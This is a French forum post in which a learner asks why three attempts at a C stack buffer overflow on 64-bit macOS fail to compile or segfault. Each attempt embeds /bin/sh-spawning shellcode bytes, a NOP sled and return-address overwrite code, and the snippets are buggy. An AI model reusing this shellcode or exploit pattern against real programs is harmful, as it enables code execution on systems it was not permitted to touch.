hello
alors voila ca fais un ptit bout d'temps que je code en langage C,
et j'essai de comprendre le principe du buffer overflow.
j'ai comprit que rsa (prochaine adresse de eip) se situais au dessus (en mémoire) de chaque fonction dans la pile
j'ai donc prit comme point de repère ma variable int i pour l'adresse de retour répéter (car les adresse sont décaler avec des bit de bourrage par mesure de sécurité) qui sera écraser par mon nop sled (qui dérivera sur mon shellcode)
pour ca j'ai fais déborder mon pointer buffer (nop/shell/adr_ret)
pour ca j'ai décider de faire simple et d'exécuter tout ca dans une fonction que mon main appellera, seulement voila... mon premier code ne compile pas mon 2 eme non plus et mon 3 eme me tape un segmentation fault (en plus d'être très moche...)
aurais-je mal comprit quelque chose ?
appliquerais-je mal la théorie a la pratique ?
y-aurais t'il des amélioration possible ? (ou imaginable^^)
bref ^^ trop de question me passe par la tête et j'ai beau lire et relire des
tuto sur les overflow je ne trouve pas...
merci quand même google...
et quand mon code compile je me tape un seg fault...
je précise que je suis sur un mac osx 64 bit
mon premier code de test (dsl d'avance ^^)
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59 #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned long stack_pointer() { __asm__("movl %esp, %eax"); } int fonction() { int i, y, compt, adr_ret, offset; char ptr; adr_ret = stack_pointer; adr_ret -= offset; y = 0; compt = 0; i = 0; char *buffer; buffer = malloc(109); ptr = buffer; char *shellcode = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0" "\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52" "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x2f\x73\x68"; while(y < 30) { *(ptr++) = y++; } /* while (i < 30) { buffer[i] = '\x90'; i++; } */ y = 0; while (y < strlen(shellcode)) { *(ptr++) = shellcode[i]; y++; } while (compt < 130) { ptr = (buffer[i] + strlen(shellcode) + compt); *(ptr) = &buffer; compt++; } return 0; }
mon 2 eme code
et voici mon 3 eme code (en cours de rerererereremodifications donc/et vraiment moche en plus d'être incomplet...)
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe2\x51\x89\xe2\x53\x89" "\xe1\xcd\x80"; int fonction() { int i, *ptr, ret, offset, size_sh; char *command, *buffer; buffer = (char*) &i; //size_sh = strlen(shellcode); offset = (char**)&i - &buffer; printf("%d\n", offset); system("PAUSE"); ret = &i - offset; for (i=0;i<160;i+=4)//addr retour dans tampon *((int*)(buffer+i)) = ret; memset(buffer, 0x90, 60); //nope sled memcpy(buffer+60, shellcode, sizeof(shellcode)-1); return 0; }
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41 #include <stdio.h> #include <stdlib.h> #include <string.h>0 int fonction() { char *i, *buffer, *buffer2; int j; char *shellcode = "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0\x0f\x05\xeb\x12\x5f\x49" "\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x2f\x73\x68"; i = (char *) &i; printf("%p ",&i); printf("%d,", *i); buffer = i; printf("%p ",i); j = strlen(shellcode); buffer2 = i; //addr retour dans tampon buffer2++; printf("%d ",k++); memset((void *)buffer, 0x90, 40); //nope sled printf("%d ",k++); memcpy((void *)(buffer+40), shellcode, sizeof(shellcode)-1); printf("%d ",k++); return 0; }
Partager